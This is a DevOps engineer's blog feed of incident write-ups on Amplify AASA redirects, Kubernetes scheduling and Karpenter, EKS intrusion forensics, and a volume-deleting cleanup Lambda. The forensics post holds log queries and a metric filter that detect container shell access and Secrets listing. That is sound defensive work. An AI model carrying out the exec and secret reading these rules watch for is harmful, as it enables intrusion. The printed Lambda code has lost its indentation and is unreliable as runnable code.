DEV Community: Frank Osasere Idugboe

iOS Universal Links on AWS Amplify: Debugging a 301 Redirect on the AASA File

Frank Osasere Idugboe — Tue, 22 Sep 2026 13:18:17 +0000

Deep linking looks simple from the outside.

A user taps an HTTPS link.

iOS recognises the domain.

The native application opens.

The user lands on the correct screen.

But behind that apparently simple flow, several systems have to agree on exactly how the URL should behave.

Recently, I worked on the infrastructure side of an iOS Universal Links implementation where the configuration initially looked correct.

The association file existed.

The domain was available over HTTPS.

The mobile team knew which domain needed to be associated with the application.

But the Universal Link still wasn't behaving as expected.

The issue turned out not to be in the mobile application's routing logic.

It was an HTTP redirect.

More specifically:

AWS Amplify was returning a 301 for the extensionless path Apple expected us to serve directly.

That small difference between:

The file exists.

and:

The file is served exactly the way the client expects.

was the real problem.

How iOS Universal Links work

Universal Links allow a normal HTTPS link to open a native iOS application instead of Safari.

For that to work, iOS needs to establish a relationship between two sides:

The website.
The iOS application.

On the website side, the domain hosts an:

apple-app-site-association

file, commonly referred to as the AASA file.

On the application side, the app declares the domain through Apple's Associated Domains capability.

Conceptually, the application might declare something like:

applinks:app.example.com

The website then exposes its association file at:

https://app.example.com/.well-known/apple-app-site-association

The important detail is the final part:

apple-app-site-association

There is no .json extension in the public URL.

That detail became central to the incident.

My responsibility was the infrastructure side

This was a cross-team feature.

The mobile team owned things such as:

Associated Domains configuration.
Receiving the incoming Universal Link.
Parsing the URL.
Routing the user to the correct screen inside the application.

My responsibility on the DevOps side was different.

I needed to make sure the association file was:

reachable over HTTPS;
available from the expected path;
returning the expected content;
not being intercepted by frontend routing;
externally verifiable.

At first, the file itself looked like the obvious place to investigate.

It wasn't.

The first important clue came from the HTTP response.

The first thing I checked was the HTTP response

Instead of starting with the JSON contents, I checked what the public endpoint was actually returning.

A simple curl request was enough:

curl -s -o /dev/null \
  -w "status=%{http_code} redirects=%{num_redirects} content-type=%{content_type}\n" \
  https://app.example.com/.well-known/apple-app-site-association

For this implementation, the response I wanted looked like:

status=200 redirects=0 content-type=application/json

That tells me three important things.

First:

status=200

The resource is being returned successfully.

Second:

redirects=0

The requested URL is being served directly.

Third:

content-type=application/json

The endpoint is returning the expected type of content.

But that wasn't what I was seeing.

The extensionless path was redirecting.

That was the first real clue.

AWS Amplify treated the path differently

The frontend was hosted on AWS Amplify Hosting.

Amplify had no problem serving files that included normal extensions.

For example:

assetlinks.json

worked as expected.

The iOS association file was different.

The public URL had to remain:

/.well-known/apple-app-site-association

with no .json suffix.

In this environment, Amplify treated that extensionless request more like a directory-style path.

Instead of serving the file directly, the request received a redirect.

Conceptually, the behaviour looked like this:

/.well-known/apple-app-site-association
                |
                v
              301
                |
                v
/.well-known/apple-app-site-association/
                |
                v
      frontend fallback / wrong response

That created an interesting situation.

The association file could exist.

The JSON inside it could be valid.

The TLS certificate could be valid.

The application configuration could look correct.

And the overall integration could still fail because the hosting platform was changing how the URL behaved.

The problem was no longer:

Is the file present?

The better question became:

What does an external client actually receive when it requests the exact URL?

That distinction changed the troubleshooting path completely.

The SPA added another layer

There was another important factor.

The frontend was a single-page application.

Like many SPAs, it used a catch-all rewrite so application routes could still load the frontend.

Conceptually, the existing rule looked something like:

/<*> → /index.html

That is useful for application routes such as:

/dashboard

or:

/settings

But it creates a potential problem for infrastructure endpoints under:

/.well-known/

If the special AASA request isn't handled first, the generic SPA rule can intercept it.

So this wasn't just a file-hosting problem.

It was also a rewrite precedence problem.

The fix: separate the public URL from the physical file

The solution was to stop trying to make Amplify serve the extensionless file directly.

Instead, I separated two concepts:

The URL Apple requests

and:

The physical file Amplify serves

The public URL remained:

/.well-known/apple-app-site-association

But I also included a JSON version in the deployed frontend assets:

/.well-known/apple-app-site-association.json

Amplify could serve the .json version cleanly.

Then I added an explicit rewrite from the extensionless path to the JSON file.

Conceptually, the rules looked like this:

[
  {
    "source": "/.well-known/apple-app-site-association",
    "target": "/.well-known/apple-app-site-association.json",
    "status": "200"
  },
  {
    "source": "/<*>",
    "target": "/index.html",
    "status": "404-200"
  }
]

The first rule is the important one:

{
  "source": "/.well-known/apple-app-site-association",
  "target": "/.well-known/apple-app-site-association.json",
  "status": "200"
}

The external client still requests:

/.well-known/apple-app-site-association

But Amplify internally serves:

/.well-known/apple-app-site-association.json

without sending the client through the unwanted redirect.

That gave me the behaviour I wanted:

Client
  |
  | GET /.well-known/apple-app-site-association
  v
AWS Amplify rewrite
  |
  v
/.well-known/apple-app-site-association.json
  |
  v
200 OK
application/json

Rule order mattered

There was one detail that could easily have made the fix appear not to work.

The AASA-specific rule had to be evaluated before the SPA catch-all.

The correct order was:

1. AASA rewrite
2. SPA catch-all

If I reversed them:

1. SPA catch-all
2. AASA rewrite

then the general frontend rule could swallow the request before Amplify ever reached the AASA-specific rule.

That's one of those infrastructure issues that looks obvious after you know the answer.

During an incident, however, it can easily send the investigation in the wrong direction.

You might start debugging Xcode.

Then Flutter.

Then app entitlements.

Then Apple caching.

Meanwhile, the hosting layer is returning the wrong response before any of those pieces even matter.

Why I kept both files

The deployment contained both an extensionless version and a .json version of the association file.

The public endpoint still followed the expected URL structure.

The JSON version gave Amplify a file it could serve predictably.

The rewrite connected the two behaviours.

That made the hosting architecture effectively:

Public request
    |
    v
apple-app-site-association
    |
    | internal 200 rewrite
    v
apple-app-site-association.json
    |
    v
JSON response

Small change.

Big difference.

I didn't trust the deployment result

Once the rewrite was configured and deployed, I didn't consider the problem solved just because the deployment pipeline was green.

I went back to the external URL.

The same verification command was useful again:

curl -s -o /dev/null \
  -w "status=%{http_code} redirects=%{num_redirects} content-type=%{content_type}\n" \
  https://app.example.com/.well-known/apple-app-site-association

This time, the important result was:

status=200 redirects=0 content-type=application/json

That was much more valuable than simply knowing that an Amplify build had completed successfully.

A deployment system can tell me:

I successfully deployed the configuration you gave me.

It cannot automatically tell me:

An external client is receiving exactly the response required by this integration.

Those are different questions.

I also checked the actual body:

curl -s \
  https://app.example.com/.well-known/apple-app-site-association

That allowed me to verify that the endpoint wasn't accidentally returning:

an HTML error page;
the SPA's index.html;
a redirect response;
an empty document;
some unrelated asset.

At that point, the infrastructure side had a clean boundary.

Where DevOps responsibility ended

One useful part of this incident was having a clear separation between the infrastructure problem and the application problem.

From the DevOps side, I could validate:

HTTPS
  +
correct path
  +
HTTP 200
  +
zero redirects
  +
JSON response

Once those conditions were satisfied and the association document contained the expected application identifiers, the remaining investigation could move to the mobile side.

The mobile team still needed to ensure that the application:

declared the correct Associated Domain;
included the required entitlement in the relevant build;
received the Universal Link;
routed the URL to the correct screen.

This distinction matters when multiple teams are troubleshooting the same feature.

Without a clear boundary, everyone can end up debugging everything.

A useful diagnostic rule became:

curl → 301

Infrastructure problem.

But:

curl → 200
redirects → 0
content-type → application/json

means the infrastructure side is behaving much closer to what we expect, and the investigation can continue further up the stack.

The deeper lesson: integrations fail between systems

The most interesting part of this incident wasn't the rewrite rule itself.

The rule was small.

The interesting part was that every major component could appear individually correct.

The frontend was deployed.

The file existed.

The JSON was valid.

HTTPS worked.

The app configuration could look reasonable.

AWS Amplify was operating according to its routing behaviour.

And yet the integration was still broken.

Why?

Because integrations fail at the boundaries between systems.

Apple expected one URL behaviour.

Amplify produced another.

The SPA introduced another routing layer.

The application added another configuration layer.

None of those systems necessarily had to be completely broken for the feature to fail.

They only had to disagree.

What this incident reinforced for me

There are several lessons I'll carry forward from this one.

1. Verify the public response, not just the deployed file

Seeing a file inside a repository or build artifact doesn't prove that clients can retrieve it correctly.

Always test the actual public endpoint.

2. HTTP behaviour is part of configuration

When dealing with platform-verification endpoints, don't inspect only the file contents.

Inspect:

HTTP status
redirects
Content-Type
response body

The transport behaviour can be just as important as the JSON itself.

3. `.well-known` endpoints deserve special attention

Endpoints under:

/.well-known/

often exist for machine-to-machine verification.

That means browsers can give you a misleading sense that things are fine.

Use tools such as:

curl

to inspect the actual HTTP behaviour.

4. SPA catch-all rules can affect infrastructure endpoints

Rules such as:

/<*> → /index.html

are useful for frontend routing.

But they can interfere with files and verification endpoints if more specific rules don't appear first.

Rule precedence matters.

5. A successful deployment is not the same as a verified integration

This lesson keeps appearing in different forms.

A deployment pipeline tells you whether the deployment completed.

It doesn't necessarily tell you whether the external system consuming that deployment sees the correct result.

Post-deployment verification matters.

The troubleshooting sequence I would use next time

If I encountered a Universal Links issue again, I would start from the infrastructure boundary before moving deeper into the mobile application.

First:

curl -I https://app.example.com/.well-known/apple-app-site-association

Then check the response in more detail:

curl -s -o /dev/null \
  -w "status=%{http_code} redirects=%{num_redirects} content-type=%{content_type}\n" \
  https://app.example.com/.well-known/apple-app-site-association

Then inspect the actual document:

curl -s \
  https://app.example.com/.well-known/apple-app-site-association

From there, I would ask:

Does the endpoint return 200?

Is it redirecting?

Is the response actually JSON?

Is the SPA catch-all intercepting the request?

Is the hosting platform treating the path as a directory?

Does the association file contain the correct app identifiers?

Only after answering those questions would I move deeper into the iOS application configuration.

The bigger lesson

The original issue looked like an iOS deep-linking problem.

But the decisive clue came from HTTP.

Not Xcode.

Not Flutter.

Not the app router.

Not the AWS deployment status.

Just:

That one response changed the direction of the investigation.

The eventual fix was relatively small:

extensionless Apple URL
        ↓
Amplify 200 rewrite
        ↓
.json association file
        ↓
200 OK
application/json

But understanding why that rewrite was necessary required looking beyond the application itself.

That's one of the things I appreciate about DevOps work.

Sometimes the visible failure happens in one layer, while the real cause lives somewhere completely different.

And sometimes the most useful debugging tool in the entire incident is simply:

curl

Have you ever debugged a Universal Links, App Links, OAuth callback, webhook, or .well-known endpoint where the real problem turned out to be an unexpected redirect or rewrite?

I'd be interested to hear what caused it.

Kubernetes at 3% CPU but Pods Still Pending: Debugging Requests, Karpenter, and EBS AZ Affinity

Frank Osasere Idugboe — Wed, 16 Sep 2026 12:20:39 +0000

The cluster was using roughly 3% CPU.

Kubernetes still couldn't schedule several pods.

One workload was returning a 503, multiple application workloads were stuck in Pending, and the scheduler was reporting insufficient CPU.

At first, those facts seemed contradictory.

How could Kubernetes be short of CPU when the nodes were barely using their processors?

That question led me through CPU requests, a missing Karpenter controller, EBS Availability Zone affinity, IAM trust relationships, CRD mismatches, and finally a Helm upgrade that wasn't quite as successful as it first appeared.

This is what I found.

3% CPU utilisation did not mean 97% capacity was available

When troubleshooting capacity problems, one of the first metrics most of us look at is actual resource utilisation.

In this case, that metric was misleading.

The nodes were consuming only around 2–3% actual CPU, but CPU requests had reached approximately 98–99% of allocatable capacity.

Those two measurements describe very different things.

Actual CPU usage tells us what workloads are consuming at that moment.

CPU requests tell the Kubernetes scheduler how much capacity workloads have already reserved.

So although the underlying machines were mostly idle, Kubernetes saw very little CPU available for additional scheduling.

One important workload required roughly 2 vCPU, and no existing node had enough unreserved capacity to accommodate it.

The result was straightforward:

Pending

A useful mental model is a hotel.

Imagine a hotel with 100 rooms.

Only three guests are physically inside their rooms, but 99 rooms have already been reserved.

The hotel may look empty, but reception cannot allocate those reserved rooms to new guests.

That was effectively the situation inside the cluster.

So why didn't autoscaling add another node?

Once I understood the CPU-request situation, the next question was obvious.

If Kubernetes needed additional capacity, why wasn't the cluster scaling out?

This environment was designed to use Karpenter for dynamic node provisioning.

But during the investigation, I discovered that Karpenter wasn't actually running.

What made this more deceptive was that much of the supporting configuration was still present.

There was a NodePool.

The EC2 node configuration existed.

AWS permissions and discovery configuration were largely present.

Several Kubernetes resources associated with Karpenter were still there.

Looking only at those objects, it would have been easy to assume that autoscaling was available.

The problem was that the Karpenter controller itself was missing.

The configuration existed.

The control loop didn't.

I started thinking about it like a car that still had its steering wheel, dashboard and pedals but no driver.

Everything describing what should happen was present.

Nothing was actually there to make it happen.

So when Kubernetes could no longer schedule the workloads, no new node appeared.

CPU capacity wasn't the only scheduling constraint

At this point, manually adding compute appeared to be the fastest way to restore service.

But the workload returning the 503 had another constraint.

Its persistent storage was backed by Amazon EBS.

EBS volumes are Availability Zone specific.

The persistent volume was tied to one Availability Zone, while the existing nodes were running in other zones.

That meant simply finding a node with enough CPU wasn't sufficient.

The workload needed a node with enough capacity in the Availability Zone where its storage could attach.

So the outage was actually the result of multiple scheduling conditions interacting:

CPU requests had consumed almost all allocatable CPU from the scheduler's perspective.
Karpenter wasn't running, so additional capacity wasn't being provisioned automatically.
A stateful workload needed compute in the same Availability Zone as its EBS volume.

The problem wasn't:

We need another node.

It was:

We need the right capacity, in the right Availability Zone, and the component that should provide it automatically isn't running.

Restoring service

During an incident, I prefer to separate service restoration from architectural remediation.

The first goal was therefore to get the workloads running again.

I temporarily increased the managed node capacity and ensured that the additional capacity included compute in the Availability Zone required by the persistent volume.

Once the appropriate capacity appeared, the effect was immediate.

The affected workload scheduled successfully.

The 503 disappeared.

Other workloads that had been waiting in Pending also began scheduling.

The immediate incident was resolved.

But manually increasing node capacity wasn't a permanent solution.

The next task was restoring autoscaling.

Restoring Karpenter

This turned out to be more involved than reinstalling a Helm chart.

Several objects from the previous Karpenter deployment still existed in the cluster, including service accounts, RBAC resources, services and custom resources.

Those objects needed to be reconciled with the new Helm-managed installation.

After getting the controller installed, I hit the next issue.

The controller started crashing.

The logs pointed to a missing resource type:

NodeClaim

That was a strong indication that the installed Karpenter controller and its Custom Resource Definitions (CRDs) were not aligned.

The controller expected Kubernetes to understand an API resource that wasn't available with the required schema.

After updating the relevant CRDs, the controller progressed further through startup.

Then the failure changed.

AWS returned:

AccessDenied

during:

AssumeRoleWithWebIdentity

At that point, the investigation moved from Kubernetes into AWS IAM.

Kubernetes identity and IAM trust had drifted apart

Karpenter was using a Kubernetes service account to assume an AWS IAM role.

The IAM trust relationship, however, expected that service-account identity in a different namespace from the namespace where the controller was actually running.

Both pieces looked reasonable on their own.

Together, they didn't match.

AWS therefore rejected the role assumption.

Once the trust relationship was aligned with the identity of the service account actually running the Karpenter controller, the controller started successfully.

It began discovering suitable instance types.

The node configuration became ready.

The NodePool became ready.

Autoscaling was operational again.

That was the point where the cluster finally regained the ability to react automatically when new workloads needed additional capacity.

One final surprise: the Helm upgrade looked successful

There was still one more piece of work.

Another environment was running an older Karpenter version, and I wanted both environments to behave consistently.

So I upgraded the second environment to the same version.

Helm reported a successful upgrade.

At first glance, everything looked fine.

But when I checked the controller image that was actually running, it was still using the older version.

The chart had been upgraded.

The controller image had not.

The cause was subtle.

The previous Helm configuration contained a pinned controller image tag and digest.

During the upgrade I used:

--reuse-values

Helm did exactly what I asked it to do.

It reused the previous values.

Unfortunately, that included the old image configuration.

So the release metadata moved forward while the actual controller image stayed behind.

The fix was to explicitly update the image version and remove the stale digest.

After that, both environments were finally running the same Karpenter version.

That incident reinforced something I try not to forget:

A successful deployment command is not the same thing as a verified deployment.

Always check what is actually running.

The troubleshooting sequence I would use next time

The exact commands will differ between environments, but the investigation pattern is reusable.

First, check actual node utilisation:

kubectl top nodes

Then inspect why a pod isn't scheduling:

kubectl describe pod <pod-name>

The Events section often tells you whether the scheduler is blocked by CPU, memory, taints, affinity rules, topology or something else.

Check how nodes are distributed across Availability Zones:

kubectl get nodes -L topology.kubernetes.io/zone

For Karpenter, confirm that its resources exist and are healthy:

kubectl get nodepool
kubectl get ec2nodeclass

Then check the controller itself:

kubectl get pods -n kube-system \
  -l app.kubernetes.io/name=karpenter

If the controller isn't healthy, inspect its logs:

kubectl logs -n kube-system \
  -l app.kubernetes.io/name=karpenter

The important shift is moving beyond:

How busy are my nodes?

and asking:

What resources has Kubernetes already reserved, what constraints must this workload satisfy, and which controllers should be reacting to the problem?

Those questions lead to very different troubleshooting paths.

What this incident reinforced for me

A few lessons stood out.

1. Low CPU utilisation does not mean schedulable CPU exists

A Kubernetes node can be almost idle while still having very little capacity available to the scheduler.

CPU usage and CPU requests answer different questions.

Usage tells you what workloads are consuming right now.

Requests tell Kubernetes what capacity it has already promised.

You need to look at both.

2. Existing configuration does not mean the control plane is functioning

The Karpenter-related resources were largely still there.

That made the environment look configured.

But without a healthy controller, the autoscaling control loop didn't exist.

A NodePool by itself cannot provision a node.

3. Storage topology matters

For workloads backed by zonal storage such as Amazon EBS, adding capacity anywhere in the region isn't necessarily enough.

The compute needs to exist in a location where the storage can attach.

That matters especially for stateful workloads.

4. Infrastructure drift can remain invisible until demand exposes it

The environment could continue operating without a Karpenter controller as long as the existing nodes had enough capacity.

Nothing necessarily failed immediately.

The missing controller became visible only when the cluster actually needed to scale.

That's what makes infrastructure drift dangerous.

It can sit quietly for a long time and only reveal itself during an incident.

5. Verify the running artifact, not just the deployment command

The Helm upgrade reported success while the controller image remained on the older version.

That is why deployment validation should include checking the actual image, pods and runtime state.

6. Be careful with `--reuse-values`

--reuse-values is convenient, but it can preserve configuration that you actually intended to replace.

Pinned image tags and digests are a good example.

Whenever I use it now, I want to know exactly which old values are being carried forward.

The bigger lesson

The part of this incident I found most interesting was the original contradiction:

Around 3% actual CPU usage, but Kubernetes still couldn't schedule workloads.

That contradiction disappeared once I stopped asking only:

How busy are these machines?

and started asking:

What capacity has Kubernetes already promised?

Kubernetes scheduling involves far more than current CPU utilisation.

It has to account for resource requests, topology constraints, storage placement, node availability and the controllers responsible for adding capacity when existing nodes can't satisfy a workload.

Sometimes an outage isn't caused by one spectacular failure.

It's several individually understandable conditions lining up at exactly the wrong time.

In this case:

CPU requests had consumed almost all schedulable capacity.
Autoscaling wasn't functioning.
Persistent storage imposed an Availability Zone constraint.
IAM configuration had drifted.
CRDs needed alignment.
A later Helm upgrade preserved an old controller image.

None of those observations on its own tells the whole story.

Together, they explain the outage.

And the next time I see pods stuck in Pending on a cluster that appears almost idle, one of my first questions will be:

What has Kubernetes already promised?

Have you ever encountered a Kubernetes cluster with low actual CPU usage but no schedulable CPU capacity?

I'd be interested to hear what caused it in your environment.

The DevOps vs. Forensics Mindset: Tracing Unauthorized kubectl Access on EKS

Frank Osasere Idugboe — Sat, 31 Jan 2026 10:09:14 +0000

Most days, I live in the world of high availability, pipelines, and speed. But lately, I’ve been wearing two caps: one as a Senior DevOps Engineer keeping production alive, and the other as a Master’s student in Digital Forensic Science at UNIFESSPA (Marabá, Brazil).

In DevOps, we are trained to restore service at all costs. If a server acts up, we kill it and replace it. But the Forensics side of my brain has started to whisper:

"Wait. If you delete that server now, you delete the evidence forever."

This is the story of a real incident on an AWS EKS cluster where those two worlds collided.

The Alert: "Someone is in the house"

Date: 2026-01-20 | Region: us-east-1

It started with a CloudWatch alert. The system detected unusual commands in our payment-processing namespace.

For the non-experts: In Kubernetes, a command called kubectl exec allows you to log directly into a running container. In a production environment, this is rarely necessary. It is like a bank teller bypassing the counter and walking directly into the vault.

Even worse, the intruder was listing Kubernetes Secrets, essentially reading the passwords for our databases.

My DevOps instinct kicked in: "Stop the bleeding. Kill the pods. Rotate the keys."

But my Forensic training stopped me. If I nuked the environment, I would never find out how they got in. The attacker would just come back tomorrow. I had to investigate while the trail was still warm.

Step 1: Freezing the Crime Scene

If a burglar breaks into your house, you don't start cleaning up the broken glass immediately. You take photos.

Before I changed a single firewall rule or blocked a user, I captured the cluster's current reality. I needed to see exactly what was running before the attacker (or our auto-scaling tools) changed it.

# I saved the timeline of events to a file
kubectl get events -A --sort-by=.lastTimestamp > incident_timeline.txt

# I took a snapshot of every running pod
kubectl get pods -o wide -A > pod_snapshot.txt

# I checked if they gave themselves permanent admin rights (Backdoors)
kubectl get clusterrolebindings -o yaml > crb_snapshot.yaml

Killing a pod is easy. Explaining to your CTO how the attacker got there, after you deleted the evidence, is impossible.

Step 2: Dusting for Fingerprints (The Logs)

Kubernetes activity is just API traffic. Every time you type a command, the server writes it down. Since we had EKS Control Plane Logging enabled, every command left a fingerprint in AWS CloudWatch.

I didn't need a fancy security tool. I just needed to ask the logs the right question. I used CloudWatch Logs Insights to look for the "connect" command (which is how K8s logs an exec attempt).

SQL
fields @timestamp, @message
| parse @message '"username":"*"' as user
| parse @message '"verb":"*"' as action
| parse @message '"objectRef":{"resource":"*"' as res
| filter action in ["connect", "create", "patch", "delete"] 
| filter res in ["pods", "secrets", "clusterrolebindings"]
| filter user not like "system:node"
| sort @timestamp desc

The results were clear. An IAM role was being used to open these connections: arn:aws:sts::123456789012:assumed-role/ReadOnly-Developer/Session-XYZ

Step 3: Finding the Person Behind the Role

This is where it gets tricky. Kubernetes knew which key was used (the IAM Role), but it didn't know who was holding the key.

To find the human, I had to switch to AWS CloudTrail. This is the master log of everything happening in your AWS account. I needed to find the exact moment someone "put on the mask" of that Developer Role.

SQL
SELECT eventTime, sourceIPAddress, userIdentity.arn, requestParameters.roleArn
FROM cloudtrail_logs
WHERE eventName = 'AssumeRole'
  AND requestParameters.roleSessionName = 'Session-XYZ'

The Twist: The source IP address didn't come from a hacker in a hoodie halfway across the world. It wasn't one of our VPN addresses either.

It turned out that a developer’s local laptop credentials had been compromised. The attacker wasn't breaking in through a window; they were walking through the front door using a stolen keycard.

Step 4: The Fix (Moving to Modern Security)

In the past, we managed access using a file called aws-auth. It’s messy, hard to read, and easy to break.

To fix this properly, I moved us to EKS Access Entries. Think of this like upgrading from a physical guestbook to a digital badge system. It allows us to grant (and revoke) access directly through the AWS API.

Here is the Terraform code I used to lock it down:

// 1. We create a "Security Boundary" (Access Entry)
resource "aws_eks_access_entry" "security_boundary" {
  cluster_name  = "prod-cluster"
  principal_arn = "arn:aws:iam::123456789012:role/ReadOnly-Developer"
  type          = "STANDARD"
}

// 2. We attach a strictly limited policy (View Only)
resource "aws_eks_access_policy_association" "view_only" {
  cluster_name  = "prod-cluster"
  policy_arn    = "arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy"
  principal_arn = aws_eks_access_entry.security_boundary.principal_arn
  access_scope {
    type = "cluster"
  }
}

Now, if this role gets compromised again, I can revoke it with a single API call, and that action is instantly logged.

Step 5: The Alarm System

I never want to manually hunt for this again. I set up a "tripwire." If anyone tries to use kubectl exec in production, effectively opening a shell into a container, I get a Slack notification immediately.

We used a CloudWatch Metric Filter for this:

resource "aws_cloudwatch_log_metric_filter" "exec_tripwire" {
  name           = "EKSExecDetection"
  // This pattern looks for the 'connect' verb on the 'exec' subresource
  pattern        = "{ ($.verb = \"connect\") && ($.objectRef.subresource = \"exec\") }"
  log_group_name = "/aws/eks/prod-cluster/cluster"

  metric_transformation {
    name      = "ExecAttempt"
    namespace = "ClusterSecurity"
    value     = "1"
  }
}

The Takeaway
Wearing two caps—DevOps and Forensics is a balancing act.

DevOps is about building fast and keeping the lights on.

Forensics is about proving what happened and ensuring it doesn't happen again.

If you only wear the DevOps cap, you might "fix" the problem but leave the door wide open. If you can’t answer Who did it, Where they came from, and What they changed, you haven't really finished the job.

Next time you see something weird in your cluster, don't just kubectl delete. Stop. Capture. Then fix.

Automation Gone Wrong: Our Cleanup Lambda Deleted Rancher’s EBS Volume (and How Velero Saved Us)

Frank Osasere Idugboe — Fri, 30 Jan 2026 11:00:03 +0000

A real-world incident where an automated cleanup Lambda deleted our Rancher's EBS volume in our development environment. Here's how we recovered using Velero and prevented it from happening again.

You know that Nigerian saying: “The same broom you use to sweep your house can sweep away your blessings”?

Well, our cost-optimization Lambda function just swept away our entire Rancher installation at midnight. 😅

It was 4:40 AM when I got the alert. Rancher UI showing 502 errors. My first thought? “Ah, network wahala again.” But this time, it was different. Our automation had turned against us.

Let me tell you how we went from “Jesus take the wheel” to “we move!” in just 20 minutes.

🔥 The Incident: When Automation Bites Back

The Setup:

Rancher running on AWS EKS in eu-west-1
A Lambda function scheduled to run at midnight to delete unused EBS volumes (saving costs, you know the drill)
Everything working fine... until it wasn’t

The Symptoms:

Rancher UI returning 502 Bad Gateway
Rancher pod stuck in ContainerCreating for 8+ hours
My coffee getting cold while I investigated ☕️

🔍 Investigation: Finding the Culprit

First things first, let’s see what’s happening with our Rancher pod:

kubectl get pods -n cattle-system -o wide

NAME                      READY   STATUS            RESTARTS   AGE
rancher-57774d445-9hqcb   0/1     ContainerCreating   0          8h

Eight hours in ContainerCreating? Something is seriously wrong. Time to dig deeper:

kubectl describe pod rancher-57774d445-9hqcb -n cattle-system | grep -A 20 "Events:"

And there it was, the smoking gun:

Warning  FailedAttachVolume  AttachVolume.Attach failed for volume "pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00"
rpc error: code = Internal desc = Could not attach volume "vol-0c9a7de28533e72a4" to node
api error InvalidVolume.NotFound: The volume 'vol-0c9a7de28533e72a4' does not exist.

The volume doesn’t exist. 😱

At this point, I remembered our Lambda function. The one that was supposed to save us money by cleaning up unused volumes. The same one that runs at midnight...

Let’s check the PVC:

kubectl get pvc -n cattle-system
NAME          STATUS   VOLUME                                     CAPACITY   ACCESS MODES
rancher-pvc   Bound    pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00   10Gi       RWO

The PVC thinks it’s bound to a volume that AWS says doesn’t exist. Classic case of “the automation did exactly what we told it to do.”

🕵️ The Root Cause: Too Smart for Our Own Good

Here’s what our Lambda function looked like:
import boto3

def lambda_handler(event, context):
ec2_client = boto3.client('ec2', region_name='eu-west-1')

# Get all available (unused) volumes
response = ec2_client.describe_volumes(
    Filters=[{'Name': 'status', 'Values': ['available']}]
)

# Delete them all! What could go wrong? 🤷‍♂️
for volume in response['Volumes']:
    volume_id = volume['VolumeId']
    print(f"Deleting {volume_id}...")
    ec2_client.delete_volume(VolumeId=volume_id)

The problem? It deleted ALL volumes with status available, including Kubernetes persistent volumes that were temporarily detached during pod restarts or node maintenance.

In Nigerian parlance: We used a sledgehammer to kill a mosquito, and we broke the wall. 😂

🚑 The Recovery: From Panic to Peace in 20 Minutes
Step 1: Check for Backups (Please, Please Have Backups!)

First question in any disaster: Do we have backups?
We were using Velero for cluster backups:

kubectl get backups -n velero
NAME                        AGE
daily-backup-20260130010007 6h47m
daily-backup-20260129040219 27h

Thank God! We have a backup from 01:00 AM. Let’s verify it includes our cattle-system namespace:

kubectl get backup daily-backup-20260130010007 -n velero \
  -o jsonpath='{.spec.includedNamespaces}'

["cattle-system","data-workload","observability"]

Perfect! ✅ Time to bring Rancher back from the dead.

Step 2: Clear the Broken Resources

Before we can restore, we need to clean up the broken PVC and PV.

Scale down Rancher:

kubectl scale deployment rancher -n cattle-system --replicas=0

Now delete the broken resources:

kubectl delete pvc rancher-pvc -n cattle-system
kubectl delete pv pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00 --force --grace-period=0

Tip: If the PV refuses to delete due to finalizers, remove them:

kubectl patch pv pvc-c343abb9-0df7-4c91-b6fa-11da4a13ac00 -p '{"metadata":{"finalizers":null}}'

Step 3: Velero to the Rescue

Time to restore from our backup. Create a Velero Restore:

kubectl create -f - <<EOF
apiVersion: velero.io/v1
kind: Restore
metadata:
  name: rancher-restore-$(date +%Y%m%d-%H%M%S)
  namespace: velero
spec:
  backupName: daily-backup-20260130010007
  includedNamespaces:
  - cattle-system
  restorePVs: true
  existingResourcePolicy: update
EOF

Check the restore status:

kubectl get restore -n velero

Verify the PVC was recreated:

kubectl get pvc -n cattle-system

NAME          STATUS   VOLUME                                     CAPACITY   ACCESS MODES
rancher-pvc   Bound    pvc-e4849291-fdc3-4a07-a8b9-e14fa93dbbd1   10Gi       RWO

New volume, new life! Now scale Rancher back up:

kubectl scale deployment rancher -n cattle-system --replicas=1

Wait about a minute and check:

kubectl get pods -n cattle-system -l app=rancher

NAME                      READY   STATUS    RESTARTS   AGE
rancher-57774d445-z9wj9   1/1     Running   0          3m7s

🎉 Rancher is back! We move!

🛡️ Prevention: Making Sure This Never Happens Again

Now that we’ve recovered, let’s fix that Lambda function so it doesn’t delete our infrastructure again.

Key insight: Kubernetes (and the EBS CSI driver) tags EBS volumes. We can use those tags to protect K8s-managed volumes.

Here’s the updated Lambda function (with guardrails):

import boto3
import json
from datetime import datetime

def lambda_handler(event, context):
ec2_client = boto3.client('ec2', region_name='eu-west-1')

deleted_volumes = []
skipped_volumes = []
total_size_gb = 0

response = ec2_client.describe_volumes(
    Filters=[{'Name': 'status', 'Values': ['available']}]
)

volumes = response['Volumes']
print(f"Found {len(volumes)} available volumes")

for volume in volumes:
    volume_id = volume['VolumeId']
    volume_size = volume['Size']
    volume_type = volume['VolumeType']

    tags = {tag['Key']: tag['Value'] for tag in volume.get('Tags', [])}
    volume_name = tags.get('Name', 'N/A')

    # 🛡️ PROTECTION RULE 1: Skip Kubernetes volumes
    if any(key.startswith('kubernetes.io/') for key in tags.keys()):
        print(f"⊘ Skipping Kubernetes volume: {volume_id} ({volume_name})")
        skipped_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Reason': 'Kubernetes volume'})
        continue

    # 🛡️ PROTECTION RULE 2: Skip volumes tagged as critical
    if tags.get('critical') == 'true':
        print(f"⊘ Skipping critical volume: {volume_id} ({volume_name})")
        skipped_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Reason': 'Critical volume'})
        continue

    # 🛡️ PROTECTION RULE 3: Skip production volumes
    if tags.get('environment') == 'production':
        print(f"⊘ Skipping production volume: {volume_id} ({volume_name})")
        skipped_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Reason': 'Production environment'})
        continue

    # Safe to delete
    try:
        print(f"Deleting: {volume_id} ({volume_name}) - {volume_size}GB")
        ec2_client.delete_volume(VolumeId=volume_id)

        deleted_volumes.append({'VolumeId': volume_id, 'Name': volume_name, 'Size': volume_size, 'Type': volume_type})
        total_size_gb += volume_size
        print(f"✓ Deleted: {volume_id}")
    except Exception as e:
        print(f"✗ Failed: {volume_id} - {str(e)}")

summary = {
    'Status': 'Success',
    'VolumesDeleted': len(deleted_volumes),
    'VolumesSkipped': len(skipped_volumes),
    'TotalSizeDeleted_GB': total_size_gb,
    'MonthlySavings_USD': round(total_size_gb * 0.11, 2),
    'Timestamp': datetime.utcnow().isoformat()
}

print(f"\n✓ Successfully deleted {len(deleted_volumes)} volumes ({total_size_gb}GB)")
